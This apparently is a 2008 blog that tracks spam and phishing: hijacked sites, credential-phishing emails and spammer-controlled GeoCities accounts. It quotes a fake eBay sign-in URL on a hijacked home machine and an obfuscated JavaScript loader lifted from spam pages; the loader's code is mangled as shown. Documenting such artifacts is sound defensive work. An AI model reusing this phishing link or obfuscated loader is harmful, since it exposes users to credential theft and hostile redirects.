Friday, June 20, 2008

Increase in hijacked sites.

There has been a large increase in hijacked websites, especially those that have the video.exe and video1.exe. The same goes for redirected websites and hijacked php websites.

Saturday, June 14, 2008

Old, but a goodie.

The tatics are now down to the oldies, goodies

1) send us your name
2) send us your password

Wednesday, June 11, 2008

Increase in IPs

Recently, there has been an increase of raw IPs given. I'm not entirely sure of what to make of it. It is significant somehow. I have a few ideas. More on this later.

Friday, June 6, 2008

Example of hijacked machine.

No firewall? No clue?

Here is a URL address of a machine that was hijacked and they are using an alternate port (84) to phish for ebay names and passwords. At first I did not recognize it, but 3 or 4 seconds later it dawned upon me what was going on.

http://207-172-200-73.c3-0.upd-ubr13.trpr-upd.pa.cable.rcn.com:84/www.ebay.com-signin-ebay.com.html

Thursday, June 5, 2008

No Sacred Ground

Today a new domain caught my eye. I though, perhaps, that it was a hijacked domain, but not. It advertises "the latest update in ED treatment", with it being a "Limited time offer". (ED, of course, being Erectial Dysfunction.)

Anyhow, the domain is healthykidsinc.com
I guess it relates.

Ramping up.

Volume of spam over the last few days has ramped up. In addition, it looks like the captcha at geocites.com has completed failed. They have become blatant to the point of being obvious. As and example, they have completely given up on using "real sounding" domain names.

Here are a couple names as an examples.

kdoitueuryfgvavec.com

www.geocities.com/barbaraafkdxdy

Tuesday, May 27, 2008

Brazen Use of Geocites.com

Should anyone forget, geocities.com is owned by Yahoo! And currently, Yahoo! is under market attack, stock market attack. As such, should not be of any wonder if the management is a bit distracted. Proof is in the names spammers are using to hijack account at geocities. Here are two (2) examples.

http://www.geocities.com/bnnmqsfqa
http://www. geocities.com/dtspdzkrzxsx

They both have their own sets of obfuscated javascript. Example below.

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<script language="JavaScript" type="text/javascript">var pcyr='dnbwddumxrutoetjbi';var jryb=0;var zvunzgj, woqv, nueexs='581D01050D14014D14131B131A04130F5F4B2E0F1416370707040806574A180C1A0E0D1E4A1A0D074A081A0E19061C1B014B1C18070F445342500C10011D425D5A060A1518130F0C0A40011809434E515701160606150054';woqv='';var xhbgqyi;for( zvunzgj=0;zvunzgj < xhbgqyi =" unescape(">= pcyr.length ) jryb = 0;}document.write(woqv);</script>